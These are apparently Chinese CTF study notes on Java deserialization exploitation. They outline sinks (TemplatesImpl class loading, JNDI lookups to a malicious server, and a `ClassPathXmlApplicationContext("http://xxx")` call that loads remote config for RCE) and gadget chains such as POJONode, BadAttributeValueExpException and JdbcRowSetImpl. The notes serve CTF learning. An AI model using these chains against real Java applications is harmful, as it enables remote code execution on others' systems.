java 题 仓库:https://github.com/un1novvn/ctf-challenge-backups
工具:https://github.com/un1novvn/Java-unser-utils
调试思路
断点打在sink点,然后看从调用栈往下看
类加载机制
一个类的字节码,通过类加载,才进入内存
类加载会触发静态代码块 static{}
反射
**多态,接口,**抽象类
动态代理
Java 反序列化题目,不难,没有技术含量,纯积累
做题的关键就是找到 gadget 的平替
任何反序列化题从这三个要点开始思考。
- 反序列化的类型
- Sink点
- gadget
反序列化类型
原生
kryo
hessian
xstream
…
Sink
危险操作,读文件,RCE,类加载
TemplatesImpl
getOutPutProperties 字节码加载,并且触发类的实例化
实例化会调用对象的空参构造
把RCE的操作写在 空参构造,则类加载的时候达到RCE
Jndi
两条路线:
- codebase
- 反序列化
InitialContext#lookup
会发起网络连接
构造一个恶意的服务器,接收连接
恶意服务器发送的数据,有2类
第一类,codebase,可以令客户端再次发起远程连接, 从远程服务器加载类,有jdk版本要求,< 8u10x(大概,记不清了)
第二类,发送一个序列化的对象,令客户端反序列化该对象,无版本限制,JDK8 - JDK17 都可以
任意类单参实例化
ClassPathXmlApplicationContext (springboot 自带)
new ClassPathXmlApplicationContext(“http://xxx”)
然后客户端会请求http服务器,下载 配置文件,然后执行恶意代码,可以达到RCE
其他
第三方依赖,存在恶意操作,比如 RCE,反序列化,等等
Sink点确定了,getOutPutProperties
入口是 readObject
找到这条链子的中间环节: readObject → ??? → getOutPutProperties
就是找 gadget
Gadget
找Gadget之前,先看 依赖 和 JDK版本
90%的题目,都是 springboot
都会有:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>只需要关注单独列出来的 依赖
看JDK 版本
META-INF/MANIFEST.MF
Manifest-Version: 1.0
Archiver-Version: Plexus Archiver
Built-By: Moonlight
Start-Class: com.example.do_you_know_cc.DoYouKnowCcApplication
Spring-Boot-Classes: BOOT-INF/classes/
Spring-Boot-Lib: BOOT-INF/lib/
Spring-Boot-Version: 1.5.9.RELEASE
Created-By: Apache Maven 3.6.3
Build-Jdk: 1.8.0_65
Main-Class: org.springframework.boot.loader.JarLauncherJAVA8
POJONode
springboot 自带的,必有
实现的效果:toString → getter
什么是 getter?
以 get 开头的方法
除了 POJONode,还有什么可以:toString → getter
直接说结论:fastjson的 JSONObject 和 JSONArray也可以,JDK本身目前不存在
JSONObject
BadAttributeValueExpException
JDK自带
readObject → toString
EventList
readObject → toString
JDK自带
XString
JdbcRowsetImpl
setAutoCommit 可以发起JNDI 连接
SignedObject
HashMap
总结
- 拿到题目看什么,依赖和JDK版本
- 确定sink点,打什么,是 TemplatesImpl类加载 还是 JNDI
- 看黑名单,找被ban 的类的平替,
核心还是 积累 gadget